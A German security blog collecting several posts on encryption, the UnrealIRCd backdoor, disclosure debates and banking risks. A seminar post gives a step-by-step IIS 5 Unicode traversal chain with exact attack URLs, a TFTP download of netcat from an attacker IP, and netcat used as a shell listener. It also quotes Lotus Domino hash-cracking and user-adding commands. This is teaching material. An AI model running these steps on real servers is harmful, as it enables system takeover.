Mitternachtshacking

So alt und kann doch nicht oft genug wiederholt werden. Verschlüsselte Daten auch auf privaten Festplatten und Datenträgern schützen! Nicht nur bei Verlust der Datenträger sondern auch und vor allem vor Behörden. Und gerade da kann man gar nicht vorsichtig genug sein. Ich hatte neulich erst wieder mit drei Gestalten vom Verfassungsschutz zu tun, mit denen war nicht mal eine normale Diskussion zu diesem Thema möglich, soweit hatten die die Realität ausgeblendet.

Ich persönlich habe meine Rechnerfestplatten normalerweise komplett mit Utimaco verschlüsselt. Das ist ein kommerzielles Produkt, weil ich eventuell dafür Support haben möchte und hauptsächlich deshalb im Einsatz, weil es das erste war, das gut mit Dual-Boot Platten mit Windows/Linux zurecht kam. Wichtige Daten sind auf der verschlüsselten Windows-Partition zusätzlich in einem Truecrypt-Container gespeichert (nur für den Fall, dass Utimaco irgendwann eine Sicherheitslücke oder Hintertür haben sollte) und Passwörter befinden sich in diesem Truecrypt-Container nochmal in einem KeePass-Safe. Wenn das nicht reicht, weiß ich auch nicht.

Ach ja, die Truecrypt-verschlüsselte Festplatte hat aktuell einen brasilianischen Bankier vor dem FBI gerettet. Nach einem Jahr hat das FBI aufgegeben, die Platte noch entschlüsseln zu können. Meine Empfehlung sind Passphrases mit mindestens 20 Zeichen, Groß- und Kleinbuchstaben, Ziffern und Sonderzeichen gemischt. Bei meinen Platten halte ich das (mit zwei Ausnahmen) genauso. Ausnahme eins ist ein unverschlüsselter USB-Stick zum Datenaustausch mit Leuten die nicht verschlüsseln können und Ausnahme zwei ist eine Festplatte mit Daten die lediglich für Schulungen und Seminare benötigt werden und eigentlich nicht vertraulich sind. Da ist nur routinemäßig Verschlüsselung drauf und das Passwort kennen ein paar Kollegen. Und so lässt sich auch prima arbeiten.

Ich war ein paar Tage beruflich unterwegs und muss deshalb noch ein paar Beiträge nachschreiben. Aber keine Sorge, alles was sich so auf meiner Liste für das Blog angesammelt hat, wird hier die Tage auch nachgetragen.

Der UnrealIRCd hat eine Backdoor. Na gut, das kann ja mal passieren. Interessant in diesem Zusammenhang sehe ich vor allem drei Punkte:

1. Die Lücke wurde erst nach Monaten entdeckt. Das zeigt erstens wieder, dass eine Software nur weil sie Quelloffen ist, nicht automatisch sicherer sein muss. Insbesondere Source Code Audits sind gar nicht so einfach. Für PHP, Perl, Python und so traue ich das mir und meinen Kollegen hier noch gut zu. Bei C und Java wird es schon eng. Spätestens bei C++ und exzessivem Einsatz von Templates hört jedoch jedes Verständnis des Source Codes auf.

2. Jetzt kann man natürlich noch diskutieren, was für eine Source Code Verwaltung da eingesetzt wurde und warum die auch nichts bemerkt hat. Ist die so schlecht oder hat keiner aufgepasst oder wurde die Verwaltung gleich mitgehackt?

3. Und zu guter Letzt, warum wird Software nicht digital signiert. In dem Zusammenhang schreibt Heise: „Damit dieser Vorfall sich nicht wiederholt, wollen die Entwickler ihre Releases wieder mittels PGP/GPG signieren“. Also wurde wohl schon mal signiert. Warum jetzt nicht mehr? Faulheit oder Nachlässigkeit?

Tja, so wird das nichts mit der Open Source Security. Das haben kommerzielle Anbieter wie Microsoft schon lange gelernt. Da müssen die freien Entwickler noch nachziehen. Und so teuer ist eine digitale Signatur auch nicht. Genau genommen kostenlos weil alle benötigten Programme bei Linux schon vorhanden sind.

Ach ja, und für die Freunde von The Register: Nicht alles was mit „Unreal“ anfängt ist auch ein Shooter 🙂

Ich hatte erst vor ein paar Tagen hier einen Beitrag zu Vulnerability Disclosure veröffentlicht. Die gängige Diskussion ist dabei vor allem, was ist ein „Responsible“ Disclosure also eine verantwortunsbewußte Veröffentlichung von Sicherheitslücken. Hier wird in der IT-Security Branche bekanntlich heftig gestritten. Die eine Front verlangt ausreichend (notfalls beliebig) Zeit für die Hersteller um Sicherheitslücken zu beheben, die andere Front will Lücken so schnell wie möglich veröffentlichen um Hersteller zu zwingen, auf bekannte Lücken auch tatsächlich zügig mit einem Patch zu reagieren. In der Praxis lassen viele Leute dem Hersteller zwischen 30 und 90 Tagen Zeit um einen Patch zu entwickeln und veröffentlichen dann Details zu einer Lücke, auch wenn der Hersteller nach dieser Zeit noch keinen Patch veröffentlicht hat. Das ist ein relativ guter Kompromiss zwischen beiden Lagern.

Aktuell gibt es jetzt einen Fall in dem der Entdecker einer Lücke dem Hersteller nur wenige Tage gelassen hat und schon sind wieder alle am Streiten.

Tavis Ormandy, ein Entwickler bei Google hat eine technisch interessante (weil recht komplexe) Sicherheitslücke im Hilfe- und Support-Center von Microsoft Windows entdeckt. Details zur Lücke und einen Demo-Exploit hat Tavis am 10.06. auf der Full-Disclosure Mailingliste veröffentlicht. Die Mailingliste kann jeder abonnieren und bekommt automatisch alles zugeschickt was dorthin geschickt wird. Leider ist auch viel Schrott auf der Liste, weil sie kaum moderiert wird. Microsoft wurde am 05.06. von Tavis über diese Lücke informiert und hat den Eingang am gleichen Tag bestätigt.

Tavis wirft Microsoft jetzt vor, seit 05.06. nichts mehr gehört zu haben, nimmt deshalb an, es kümmert sich keiner um die Lücke und veröffentlicht 5 Tage später den Exploit mit dem dezenten Hinweis:

„Those of you with large support contracts are encouraged to tell your support representatives that you would like to see Microsoft invest in developing processes for faster responses to external security reports.“

Und das ausgerechnet von einem Mitarbeiter von Google, der Firma die vor wenigen Wochen großmäulig Microsoft-Betriebssysteme in die Tonne getreten hat. Das hat schon ein „Geschmäckle“. Tavis begründet sein schnelles Disclosure zwar unter anderem damit, dass er vermutet die bösen Hacker würden diese Lücke bereits ausnutzen. Dafür fehlen jedoch die nötigen Beweise. Außerdem hat Tavis einen Workaround mitgeliefert, der den Angriff verhindern sollte bei dem sich jedoch herausgestellt hat, dass der Schutz nicht richtig wirksam ist.

Und nun stellt sich die berechtigte Frage, ob das Vorgehen von Tavis noch von „Responsible Disclosure“ gedeckt ist oder ob ein Google-Mitarbeiter die gute Gelegenheit genutzt hat, mit einer neuen Sicherheitslücke Microsoft eins auszuwischen und den Konzern vielleicht sogar dazu zu nötigen, einen Patch außerhalb der normalen Update-Sequenz herauszubringen. Und damit quasi als Kollateralschaden Millionen von Windows-Anwendern gefährdet. Ich weiß es nicht. Aber als Administrator bin ich über „aus der Reihe Patches“ nie besonders glücklich. Vermutlich hätte man die Kommunikation über diese Lücke klüger handhaben könne.

Eigentlich weiß ich gar nicht, was ich heute so schreiben will. Naja, dann halt irgendwas buntes durcheinander:

Apple macht sich weiter unbeliebt

Apple zensiert munter weiter im App-Store. Der Bewertungsmaßstab scheint der durchschnittliche Hillbilly-Farmer im religiösen Mittleren Westen zu sein. Was der nicht gut findet, wird von Apple auch gesperrt. Inzwischen scheint sich sogar Fanboy und Springer-Chef Döpfner unsicher zu werden. Jedenfalls wird auf allen Kanälen um Hilfe gerufen. Apple schert das gar nicht, jetzt wird mittels iAd-Zensur gegen Google und Microsoft geschossen. Langsam hat man das gesamte IT-Lager (Adobe, Microsoft, Google, …) gegen sich. Und zu aller Freude verliert Partner AT&T auch noch jede Menge Daten.

Adobe macht sich weiter unbeliebt

Zumindest gibt es schon wieder einen Zero-Day Exploit für Flash. Ich verstehe ja manchmal Steve Jobs wenn er Flash nicht auf dem iPfusch haben will. Zusätzlich zu den Fantastilliarden (Enzyklopädie, my ass) an Safari-Lücken auch noch die Flash-Lücken auf seinen Geräten? Dabei gibt’s einen simplen Workaround. Einfach die ganze Adobe-Software deinstallieren. Schon ist Ruhe. Lustig ist nur, dass laut Advisory die Lücke gleichzeitig Flash, Reader und Acrobat betrifft. Da wird anscheinend heftig Code wiederverwendet.

Facebook macht sich weiter unbeliebt

Und zwar durch fleißig aus dem iPhone abgegriffenen Telefonkontaktdaten. Löschen der Daten ist nicht vorgesehen. Auskunft was mit den Daten passiert: keine. Auskunft, wie die Daten geschützt werden: keine. Reaktion vom Bundesdatenschutzbeauftragten Peter Schaar: keine (der wird sich notfalls einfach für „nicht zuständig“ erklären). Da kann man nur hoffen, dass man keine „Freunde“ hat, die gleichzeitig iPhone- und Facebookaccount-Besitzer sind.

Offtopic: Grätzel gewinnt Millenium-Preis (und macht sich nicht unbeliebt)

Da geht es um organische Solarzellen. Allerdings scheint die Versiegelung des Elektrolyt noch ein Problem zu sein (falls man Wikipedia trauen kann). Das Genie unserer Familie arbeitet in Dresden ebenfalls an organischen Solarzellen und kommentiert das mit: „Das Gute daran ist, dass der optische Anregungszustand durch das TiO2  schnell in Ladungen getrennt wird. Aber das Problem ist der Elektrolyt  und das andere reine organische Solarzellen wie unsere und Polymer-basierte in der Effizienz aufholen und jetzt bei 8% sind (Anmerkung: Grätzel-Zellen sind bei 11%). Ich denke das sich unsere Technologie oder Polymersolarzellen durchsetzen werden.“

Nachtrag:

Fefe hat die wichtigsten aktuellen Lücken in Flash aufbereitet. Langsam machen CVE-Nummern für Adobe gar keinen Sinn mehr. Die brauchen eine eigene Datenbank nur für Adobe-Lücken.

Auf Golem.de gibt es gerade einen sehr schönen Artikel über eine Studie, die die Passwortsicherheit auf Webseiten untersucht hat:

„Das Ergebnis ihrer Untersuchungen zeigt, dass Webseiten im Umgang mit Passwörtern große Schwachstellen haben. So unterlassen es beispielsweise 57 Prozent der untersuchten Websites, Passwörter per TLS verschlüsselt zu übertragen. Knapp ein Drittel der Websites verschickte Passwörter im Klartext per E-Mail und über 80 Prozent der Websites setzten einem Brute-Force-Angriff praktisch keinen Widerstand entgegen.“

Dabei scheinen größere Webseiten prinzipiell besser zu sein als kleine und Webseiten mit Zahlungsfunktion besser als sonstige.

Ich persönlich sehe das größte Risiko ja immer noch darin, dass die Nutzer auf allen Webseiten das gleiche Passwort verwenden. Wenn dann eine Webseite kompromittiert wird und die Kombination aus Login/Passwort/E-Mail einem Angreifer bekannt geworden ist, kann sich der Angreifer oft direkt auf vielen verschiedenen anderen Seiten anmelden.

Aber das ist nichts neues. Ich empfehle mal wieder die OSCON 2005 Keynote von Dick Hardt. Schade, dass es immer noch keine vertrauenswürdige und verlässliche Identity 2.0 gibt.

Auf der DailyDave-Mailingliste gefunden:

Auf dem „Workshop on the Economics of Information Security 2010“ hat der mir vorher nicht bekannte Sam Ransbotham ein Paper veröffentlicht mit dem Titel: „An Empirical Analysis of Exploitation Attempts based on Vulnerabilities in Open Source Software“ (PDF). Zu diesem Paper gibt es auch einen Artikel auf Technology Review.

Seine Kernaussage (und ich bin sicher, ein paar Leute bei Microsoft haben das mit Freude gelesen) ist, dass Open Source Software bezüglich Sicherheitslücken die vor der Veröffentlichung gefunden werden möglicherweise einen Sicherheitsvorteil gegenüber Closed Source hat. Falls Sicherheitslücken jedoch erst nach der Veröffentlichung gefunden werden, hat Open Source den Nachteil, dass jeder die Lücken sehen und leicht analysieren kann. Angreifer werden Lücken in Open Source deshalb bevorzugt ausnutzen.

Ich halte wie Dave Aitel sowohl die These für falsch, als auch die Zahlen die er zur Untermauerung verwendet.

Argument 1: Sicherheitslücken werden von Angreifern dann ausgenutzt, wenn es sich für den Angreifer lohnt. Die meisten Angriffe auf Rechner erfolgen heute durch Software wie Adobe Flash oder den Adobe Reader über den Webbrowser auf Windows. Der Grund ist einfach. Finanziell lohnt es sich eher, einen Angriff für das Betriebssystem von 94% der Rechner im Internet zu entwickeln als für die paar Mac OS X oder Linux-Rechner, selbst wenn z.B. der Linux-Source-Code komplett vorhanden ist. Und Flash ist als Browser-Plugin am weitesten verbreitet, auch deshalb werden Exploits speziell für Flash gesucht. Obwohl Flash Closed Source ist.

Argumtent 2: Die von ihm verwendeten Zahlen stimmen einfach nicht. Man kann die Anzahl der Einträge in der National Vulnerability Database (NVD) oder irgendeiner sonstigen Schwachstellendatenbank für Open Source und Closed Source einfach nicht vergleichen. Bei Open Source ist das Standard-Fehlerbehandlungsmodell, dass wenn eine Lücke bekannt wird, für diese Lücke ein Patch entwickelt wird und in den Source-Tree eingepflegt wird. Für die nächste Lücke gibt es den nächsten Patch und auch der wird direkt eingepflegt. Weil jeder den Source-Tree ansehen kann, gibt folglich jede Lücke einen eigenen Vulnerability-Datenbankeintrag. Bei Closed Source liegt es im Interesse des Herstellers (und meist auch der Kunden), dass nicht für jede Lücke direkt ein Patch veröffentlicht wird sondern alle Lücken in einem bestimmten Programm innerhalb eines gewissen Zeitraums in einem gemeinsamen Patch veröffentlicht werden, der hoffentlich gut getestet wurde. Microsoft macht das beispielsweise sehr gerne und behebt mit einem Patch in der Regel mehrere Lücken. Natürlich steht Closed Source dann bzgl. der reinen Zahl der Einträge in einer Schwachstellendatenbank besser da. Daraus jedoch Rückschlüsse auf die Sicherheit ziehen zu wollen ist dumm und naiv.

Im Ergebnis lässt sich mal wieder nur feststellen, dass Sam Ransbotham eine weitere Chance für einen realistischen und echten Vergleich der Sicherheit von Open und Closed Source vertan hat. Eine aussagekräftige und unabhängig überprüfbare Real-World Analyse fehlt mit leider bis heute. Aber egal, gehackt wird sowieso alles 🙂

Früher gab es ja immer die Diskussion, ob und wie Sicherheitslücken veröffentlicht werden sollen. Da gab es im großen und ganzen drei Schulen:

1. No Disclosure

No Disclosure bedeutet, man hält die Lücke einfach für sich selbst geheim. Kann  man immer mal brauchen. Mit dem Risiko, dass natürlich jemand anderes die Lücke auch findet. No Disclosure war früher typisch bei Schadprogrammautoren. Wenn die mal eine Lücke hatten, wurden damit Schadprogramme verbreitet und irgendwann über Projekte wie das Honeynet wurde dadurch die Lücke irgendwann bekannt und gestopft.

2. Responsible Disclosure

Das war der Begriff den Firmen wie Microsoft geprägt haben, die Sicherheitslücken am liebsten vertuscht haben. Mit Responsible Disclosure sollte eine Sicherheitslücke nur dem Hersteller bekanntgegeben werden damit dieser dann beliebig lange Zeit hat die Lücke zu beheben. Ein paar Firmen wollten daraus sogar einen Standard (RFC) machen, der aber glücklicherweise dann nicht in den Standard aufgenommen wurde. Firmen wie eEye konnten zeigen, dass sich Microsoft bei „responsible“ bekanntgegebenen Lücken sehr viel länger Zeit lässt, diese zu beheben. In der Praxis hat sich eine Art Responsible Disclosure durchgesetzt, weil die Sicherheitsfirmen halt auf Aufträge der großen Softwarehersteller angewiesen sind.

3. Full Disclosure

Sicherheitslücken, möglicherweise inkl. Exploit werden auf einer öffentlichen Webseite oder Mailingliste bekanntgegeben und stehen damit Softwarefirmen genauso wie Angreifern direkt und gleichzeitig zur Verfügung. Ein Softwarehersteller muss dann natürlich schnell reagieren und einen Patch bereitstellen der möglichst keine Nebeneffekte haben darf d.h. unter Zeitdruck sorgfältig entwickelt und getestet werden muss.

Heute muss man meiner Ansicht nach andere Kriterien anwenden:

1.  Free Disclosure

Sicherheitslücken bzw. Exploits werden (egal wann) auf einer kostenfreien Webseite oder Mailingliste bereitgestellt. Namentlich kann man SecurityFocus oder Metasploit nennen.

2. Disclosure über einen Exploit Broker

Eine Reihe von Agenturen kaufen Sicherheitslücken von Entwicklern auf und geben diese dann an den Herstellern weiter.  ZDI (TippingPoint/3Com/HP), iDefense (Verisign) und Co. sind hier zu nennen. Ein Exploit Broker hat den Vorteil, dass man mit einem Exploit Geld verdienen kann, jedoch praktisch kein Risiko eingeht, wegen dieses Exploits auch verklagt zu werden. Gerade für einzelne Programmierer ist das eine brauchbare Alternative.

3. Kommerzielle Exploit-Software

Neben ZDI/iDefense gibt es auch Firmen wie Core oder Immunity, die Sicherheitslücken z.B. von freiberuflichen Exploitentwicklern kaufen und in ihre kommerziellen Frameworks mit aufnehmen. Dazu gibt es sogar eine „No more free bugs“ Initiative.

Mein Eindruck ist, dass sich der Trend zu kommerziell vermarkteten Sicherheitslücken in den nächsten Jahren verstärken wird. Das wird dazu führen, dass nur noch große finanzkräftige Firmen sich alle notwendigen Sicherheitslücken z.B. für Penetrationstests zusammenkaufen können. Ob das eine wünschenswerte Entwicklung ist, will ich mal offen lassen.

Literatur zum Nachlesen:

• „Vulnerability trading markets and you“ by Michal Zalewski (lcamtuf):
  http://lcamtuf.blogspot.com/2010/04/vulnerability-trading-markets-and-you.html
• „Vulnerability Disclosure is Rude“ by Robert Graham:
  http://erratasec.blogspot.com/2010/04/vuln-disclosure-is-rude.html
• No More Free Bugs movement by Charlie Miller, Alex Sotirov and Dino Dai Zovi:
  http://trailofbits.com/2009/03/22/no-more-free-bugs/
• Dailydave Post by Dave Aitel:
  http://lists.immunitysec.com/pipermail/dailydave/2010-April/006100.html

Ich bin gespannt, wie sich das weiterentwickelt.

Aus einer Empfehlung via Full-Disclosure:

SecTechno (http://www.sectechno.com/) the excellent blog that publishes articles and whitepapers on a variety of IT security topics

Gefällt mir aktuell ganz gut und ist am rechten Rand jetzt dauerhaft verlinkt.

Mehrstufige Angriffe sind nach meiner Definition Angriffe, die mit einer scheinbar kleinen Lücke beginnen, die dann aber über mehrere Einzelschritte zu einer völligen Kompromittierung eines Systems führen. In meinen Hacking-Seminaren verwende ich gerne ein Beispiel, das zwar steinalt ist, die Systematik eines Angriffs aber sehr schön vorführt: den IIS 5 Unicode Path Traversal Angriff.

Auf den ersten Blick sieht der Unicode Path Traversal harmlos aus. Man kann damit auf Dateien außerhalb des eigentlich freigegebenen Verzeichnisses zugreifen. Das sieht aus wie eine relativ harmlose Verletzung der Vertraulichkeit auf einem öffentlichen Webserver. Die Folgeschritte sehen dann so aus:

1. Unicode Path Traversal erlaubt es auf Dateien außerhalb des Inetpub zuzugreifen.
2. Das Scripts-Verzeichnis (und Unterverzeichnisse) enthält Dateien, die ausgeführt werden dürfen.
3. Mit Hilfe des Scripts-Verzeichnisses und dem Path Traversal kann man die cmd.exe starten, wenn sich Inetpub und WINNT auf dem gleichen Laufwerk befinden. Die URL die ich verwende ist „http://[Server-IP]/scripts/..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir“.
4. Bequemerweise kopiert man sich die cmd.exe direkt in das Scripts-Verzeichnis.
5. Über die cmd.exe kann man TFTP starten und beispielsweise Netcat herunterladen. Die URL die ich verwende ist „http://[Server-IP]/scripts/cmd.exe?/c+tftp+-i+[Angreifer-IP]+GET+nc.exe“.
6. Netcat kann man wiederum über die cmd.exe als Server starten. Schon hat man einen interaktiven Zugang. Allerdings mit beschränkten Rechten.
7. Mit dem IIS-Exploit der httpodbc.dll kann man LocalSystem-Rechte bekommen. Die httpodbc.dll lädt man beispielsweise via TFTP in das Scripts-Verzeichnis.

Im Ergebnis hat man dann den Rechner komplett übernommen. Natürlich gibt es den Unicodeloader, der diverse Schritte automatisch durchführt aber ich halte es für eine nette Übung, das schrittweise durchzuführen.

Für Lotus Notes gibt es jetzt eine ähnliche Anleitung: „Getting OS Access Using Lotus Domino Application Server“ (PDF) von DSecRG:

1. Run raptor_dominohash script and collect all password hashes
   ./raptor_dominohash 192.168.0.202
2. Save hashes in file using format described in the Stage 3.
3. Run JohnTheRipper with hashes file generated at the previous step
   ./john HASH.txt –format=lotus5
4. If you find administrator’s hash you can address to:
   http://servername/webadmin.nsf
5. In Quick Console run command that adds a new user to OS
   load cmd /c net user dsecrG password /all
6. For testing if this command successfully executed we run net user command and save the results to the file.
   load cmd /c net user > C:\Lotus\Domino\data\domino\html\download\filesets\netuser1.png
7. To view the results we open the following link:
   http://servername/download/filesets/netuser1.png

Ok, für diesen Angriff braucht man ein erfolgreich gecracktes Admin-Login aber man kann das Verfahren leicht anpassen wenn man einen geeigneten Exploit für Lotus Domino hat. Mal sehen, vielleicht nehme ich das weiteres Beispiel für mehrstufige Angriffe in meinen Hacking-Workshop mit auf.

Kommunikation mit der Bank wird immer gefährlicher. Weder Internetbanking noch Geldautomaten sind noch ausreichend sicher. Aber egal, das Risiko trägt ja bekanntlich der Kunde.

BSI-zertifizierter Kobil Kartenleser gehackt

Tja, si eine BSI-Zertifizierung ist auch nicht mehr das, was sie nie war. Der Kobil SecOVID Reader III, der vom BSI für den Einsatz nach dem strengen deutschen Signaturgesetz (SigG) zugelassen wurde, kann mit einer fremden nicht signierten Firmware geflasht werden. Und schon hat sich die Sicherheit erledigt. Und sehr schön, das Problem wurde nicht allgemein bekannt gemacht, weil es sich um „eine überschaubare Kundengruppe“ handeln soll und die die Anwendungen für Geldkarte, HBCI und Secoder nicht von der Lücke betroffen seien. Stimmt zwar nicht aber klingt besser und beruhigt die Homebanking-Kunden die ja für den Schaden haften, wenn was schiefgeht.

Mehr Geldautomaten werden manipuliert

Das Abheben von Geld am Geldautomat wird dafür auch immer unsicherer. Das BKA warnt mal wieder vor Skimming, d.h. manipulierten Geldautomaten um Kartendaten und PIN abzugreifen. „Als normaler Kunde kann man eine Manipulation im Grunde nicht erkennen“, sagte BKA-Präsident Jörg Ziercke. Und: „Viele Banken würden die Manipulationen nicht melden, weil sie sonst um ihre Reputation fürchteten“. Na toll. Aber laut AGB haftet eh der Kunde.

OCSP rettet uns auch nicht

Und für das gewöhnliche Internet-Banking gibt es auch beruhigende Nachrichten für den bösen Hacker. Das Online Certificate Status Protocol (OCSP), das vom Browser verwendet wird um die Gültigkeit von SSL-Zertifikaten zu verifizieren kann geschickt manipuliert werden. Dazu erklärt man dem Browser über eine OCSP-Statusmeldung einfach, der Server sei überlastet und der Browser solle es später nochmal probieren. Das Standardverhalten der Browser ist dann, das Zertifikat halt solange anzuerkennen.

Mobile Banking bedroht

Und für die Freunde von Mobile Banking oder Mobile TANs  gibt es zum Schluß noch den Hinweis, dass zumindest im Android Market bereits eine Applikation aufgetaucht ist, die Bankzugangsdaten ausspähen sollte. Ich denke wir werden noch viel mehr in diese Richtung erleben.

Ich sollte mir mein Gehalt vielleicht wieder bar auszahlen lassen 🙂